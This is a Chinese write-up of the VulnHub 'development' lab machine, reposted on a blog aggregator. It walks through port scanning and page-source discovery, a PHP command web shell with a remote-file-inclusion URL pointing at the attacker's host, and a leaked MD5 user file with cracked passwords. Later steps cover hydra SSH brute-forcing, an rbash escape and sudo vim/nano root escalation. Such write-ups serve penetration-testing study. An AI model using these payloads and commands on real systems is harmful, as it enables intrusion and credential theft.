vulnhub靶场之【digitalworld.local系列】的development靶机

前言

靶机:digitalworld.local-devt-improved,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.10 --min-rate=1000  -p- -T4 -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.10 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=22,113,139,445,8080

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.10 -p $ports -oA detail

6

对特定的端口号进行漏洞检测

nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息收集

还是从网站入手,因为使用enum4linux枚举测试,并未有信息

访问8080端口的默认界面,提到一个界面

拼接地址后,发现一些目录

访问后,以几个重点截图,注意,要查看页面源代码才能发现的

给出一个目录./developmentsecretpage

给出一个文件test.pacp,格式来看像是数据流量包

访问./developmentsecretpage

给出一个patrick.php文件,点击访问,确实可解析php文件,并且有一个sitemap.php文件及链接

访问sitemap.php,给出两个php文件,securitynotice.phpdirectortestpagev1.php

访问securitynotice.php,给出了设置密码的情况,可能以P@ssw0rd加数字为设置

访问directortestpagev1.php,给出一个test.html的界面

这个test.html与前面给出的是一样的,那么访问前面test.pcap这个文件,该文件直接下载到本地,然后使用科来或者wireshark工具进行打开,即可看到产生的网络数据包

首先使用科来查看,直接用科来打开数据包即可,可以看到在http请求时,请求了一个之前并未有的文件

/qinyi/motivation.html

再使用wireshark打开观察一下

ok,首先观察大概两个协议为主httpsmb,那么先访问之前并未有的一个链接/qinyi/motivation.html,啧,没有东西

继续分析smb协议的数据,但是并未发现敏感数据,只有一个路径/DEVELOPMENT/IPC$和版本等信息,但是不知道用户名等

漏洞寻找

继续从网站下手,之前还有一个链接未点击测试http://192.168.10.10:8080/developmentsecretpage/directortestpagev1.php?logout=1

点击后,发现一个登录框,啧,这奇怪,访问时直接登录,这里难道出问题?

虽然前面给出了密码的可能性策略,但是这里先随便在登录框输入,发现还是成功,只是多了一些报错

给出了一个slogin_lib.inc.php文件,不知道这个文件什么作用,先搜索一下,看是否是官方的函数

好家伙,一搜就全是漏洞,甚至编号都出来了

这一段是远程文件包含

这一段是敏感文件的位置

漏洞利用

那么尝试第一个远程测试

创建一个php脚本测试,然后在kali开启一个http服务

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

然后构造链接

http://192.168.10.10:8080/developmentsecretpage/slogin_lib.inc.php?slogin_path=http://192.168.10.6:8888/shell.php

不过这里当执行后,并未有远程代码执行的痕迹,也就是kali这边的http服务并没有收到请求,所以,这个远程代码执行的漏洞,可能不存在

那么测试第二种,查看敏感文件

http://192.168.10.10:8080/developmentsecretpage/slog_users.txt

这里可以看到,应该是md5加密,尝试使用网站解密吧,因为快,建议使用somd5.com,之前的cmd5.com这个网站,唉,收费的有点多

用户MD5密码
intern4a8a2b374f463b7aedbb44a066363b8112345678900987654321
patrick87e6d56ce79af90dbe07d387d3d0579eP@ssw0rd25
qiuee64497098d0926d198f54f6d5431f98qiu

解密出三个,网站方面登录明显是假象,那么测试ssh登录

将三个用户名存储在user文件,三个密码存储在pass文件,使用hydra进行爆破

hydra -L user -P pass 192.168.10.10 ssh

rbash逃逸

使用ssh登录intern,不过给出的是rbash

尝试逃逸,之前在某个靶场中,有echo逃逸的测试,当然需要与python搭配,是lshell的问题

echo os.system('/bin/bash')

靶机内信息收集

查看当前目录下的文件

这里提到了patrick,以及密码策略,应该还没有更改

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

发现有sudosu,不过sudo -l并未对当前用户可用

那么查看/home下有哪些用户

patrick用户下,发现有password.txt文件

查看这个文件,没有信息

提权

结合目前信息来看,su可能有用,尝试以之前的用户patrick和密码进行切换,确实可行

使用sudo -l测试

两种方式,访问网站https://gtfobins.github.io/查看用法

#vim
sudo vim -c ':!/bin/sh'#nano
sudo nano
^R^X
reset; sh 1>&0 2>&0

33

查看最终flag

总结

该靶机有以下值得思考:

  1. 对于网站,可能存在注释设计者忘记删除,往往会暴露敏感信息
  2. 对于网站的链接,功能等,都需要进行测试
  3. 对于网站的漏洞,不要只盯着CMS,一些语言函数也可能是有漏洞的
  4. 对于ssh无法登录时,不代表su无法切换,密码都是一样的,但是ssh可能做了限制
  5. 对于提权,这里采用sudo提权的方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/71420.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Stiring-PDF:开源免费的PDF文件处理软件

Stiring-PDF是一款开源免费且比较好用的PDF文件处理工具。 Stiring-PDF官网网址为&#xff1a;https://www.stiringpdf.com/。Stiring-PDF是一款专业的PDF文件处理工具&#xff0c;支持Windows和macOS操作系统&#xff1b;提供丰富的PDF编辑和转换功能&#xff0c;适用于日常工…

SpringCloud系列教程(十二):网关配置动态路由

除了token以外&#xff0c;还有一个很实用的功能就是把网关的路由配置放到nacos上&#xff0c;并且修改路由配置的时候&#xff0c;网关服务可以动态的更新&#xff0c;这样我们在调整网络配置的时候&#xff0c;就不用重启服务了。所以我们需要用到两个重要的类&#xff1a;Na…

R JSON 文件

R JSON 文件 引言 在当今的数据分析和处理领域&#xff0c;R语言作为一种功能强大的统计计算和图形展示工具&#xff0c;被广泛应用于各种数据分析任务中。随着大数据时代的到来&#xff0c;数据的格式和结构变得越来越多样化。JSON&#xff08;JavaScript Object Notation&a…

ES6 特性全面解析与应用实践

1、let let 关键字用来声明变量&#xff0c;使用let 声明的变量有几个特点&#xff1a; 1) 不允许重复声明 2) 块儿级作用域 3) 不存在变量提升 4) 不影响作用域链 5) 暂时性死区 6&#xff09;不与顶级对象挂钩 在代码块内&#xff0c;使用let命令声明变量之前&#x…

如何使用 Ollama 的 API 来生成聊天

如何使用 Ollama 的 API 来生成聊天 简介 生成聊天 生成聊天的示例 加载模型 卸载模型 简介 Ollama 提供了一个 RESTful API&#xff0c;允许开发者通过 HTTP 请求与 Ollama 服务进行交互。这个 API 覆盖了所有 Ollama 的核心功能&#xff0c;包括模型管理、运行和监控。本…

【学Rust写CAD】10 加法器

源码 // src/matrix/adder.rs/** 说明&#xff1a;连加计算中&#xff0c;为提高运行期效率&#xff0c;用该结构增加一个Const变量&#xff0c;方便单独合并所有Const类型&#xff0c;最后一步才有可能出现Const与Val的加法计算*/use std::ops::Add;use super::constant::{Co…

学到什么记什么(25.3.3)

Upload-labs 今日重新做了一下文件上传漏洞&#xff0c;这里第一题之前采用直接抓包改后缀名.jpg为.php&#xff0c;再写入一句话<?php phpinfo();?>然后放行&#xff0c;得到图片地址&#xff08;可复制&#xff09;&#xff0c;本来直接访问图片地址即可得到敏感信息…

el-table input textarea 文本域 自适应高度,切换分页滚动失效处理办法

场景&#xff1a; el-table 表格 需要 input类型是 textarea 高度是自适应&#xff0c;第一页数据都是单行数据 不会产生滚动条&#xff0c;但是第二页数据是多行数据 会产生滚动条&#xff0c; bug: 第一页切换到第二页 第二页滚动条无法展示 解决办法&#xff1a;直接修改样…

[杂学笔记] 封装、继承、多态,堆和栈的区别,堆和栈的区别 ,托管与非托管 ,c++的垃圾回收机制 , 实现一个单例模式 注意事项

文章目录 1.封装、继承、多态2. 堆和栈的区别3.指针和引用的区别4. 托管与非托管5. c的垃圾回收机制6. 实现一个单例模式 注意事项 1.封装、继承、多态 封装就是将数据和内部的方法封装到一个类中&#xff0c;对外隐藏内部实现细节&#xff0c;但是留下了公共接口提供给外部使…

【三维生成】StarGen:基于视频扩散模型的可扩展的时空自回归场景生成

标题&#xff1a;《StarGen: A Spatiotemporal Autoregression Framework with Video Diffusion Model for Scalable and Controllable Scene Generation》 项目&#xff1a;https://zju3dv.github.io/StarGen 来源&#xff1a;商汤科技、浙大CAD、Tetras.AI 文章目录 摘要一、…

【一个月备战蓝桥算法】递归与递推

字典序 在刷题和计算机科学领域&#xff0c;字典序&#xff08;Lexicographical order&#xff09;也称为词典序、字典顺序、字母序&#xff0c;是一种对序列元素进行排序的方式&#xff0c;它模仿了字典中单词的排序规则。下面从不同的数据类型来详细解释字典序&#xff1a; …

【Linux】【网络】UDP打洞-->不同子网下的客户端和服务器通信(成功版)

【Linux】【网络】UDP打洞–&#xff1e;不同子网下的客户端和服务器通信&#xff08;成功版&#xff09; 根据上个文章的分析 问题可能出现在代码逻辑上面 我这里重新查找资料怀疑&#xff1a; 1 NAT映射可能需要多次数据包的发送才能建立。 2 NAT映射保存时间太短&#xff…

SpaCy处理NLP的详细工作原理及工作原理框图

spaCy处理NLP的详细工作原理及工作原理框图 spaCy处理NLP的详细工作原理 spaCy是一个基于Python的开源自然语言处理&#xff08;NLP&#xff09;库&#xff0c;它提供了一系列高效且易用的工具&#xff0c;用于执行各种NLP任务&#xff0c;如文本预处理、文本解析、命名实体识…

C++ Primer 动态数组

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

【Qt】ffmpeg照片提取、视频播放▲

目录 一、图像的成像原理&#xff1a; RGB成像原理&#xff1a; YUV成像原理&#xff1a; 二、多线程 三、ffmpeg解码&#xff08;照片提取&#xff09; 1.准备工作 &#xff08;1&#xff09;在工程文件夹里面新建三个文件夹 &#xff08;2&#xff09;在main函数中加…

⭐算法OJ⭐跳跃游戏【BFS+滑动窗口】(C++实现)Jump Game 系列 III,VII

⭐算法OJ⭐跳跃游戏【贪心算法】&#xff08;C实现&#xff09;Jump Game 系列 I,II 这篇文章介绍 跳跃游戏 的第三题和第七题&#xff0c;两道题目有异曲同工之妙&#xff0c;都运用了BFS广度优先搜索算法实现&#xff0c;难度相比于前两题较高&#xff0c;而且不同于更常见的…

【QGIS二次开发】地图显示与交互-01

1. 系统界面设计 设计的系统界面如下&#xff0c;很好还原了QGIS、ArcGIS等软件的系统界面&#xff0c;充分利用了QT中顶部工具栏、菜单栏、底部状态栏&#xff0c;实现了图层管理器、鹰眼图、工具箱三个工具面板。 菜单栏、工具栏、工具箱集成了系统中实现的全部功能&#x…

Skynet入门(一)

概念 skynet 是一个为网络游戏服务器设计的轻量框架。但它本身并没有任何为网络游戏业务而特别设计的部分&#xff0c;所以尽可以把它用于其它领域。 设计初衷 如何充分利用它们并行运作数千个相互独立的业务。 模块设计建议 在 skynet 中&#xff0c;用服务 (service) 这…

threejs:用着色器给模型添加光带扫描效果

第一步&#xff1a;给模型添加光带 首先创建一个立方体&#xff0c;不进行任何缩放平移操作&#xff0c;也不要set position。 基础代码如下&#xff1a; 在顶点着色器代码里varying vec3 vPosition;vPosition position;获得threejs自动计算的顶点坐标插值&#xff08;也就…

【时序预测】在线学习:算法选择(从线性模型到深度学习解析)

——如何为动态时序预测匹配最佳增量学习策略&#xff1f; 引言&#xff1a;在线学习的核心价值与挑战 在动态时序预测场景中&#xff08;如实时交通预测、能源消耗监控&#xff09;&#xff0c;数据以流式&#xff08;Streaming&#xff09;形式持续生成&#xff0c;且潜在的…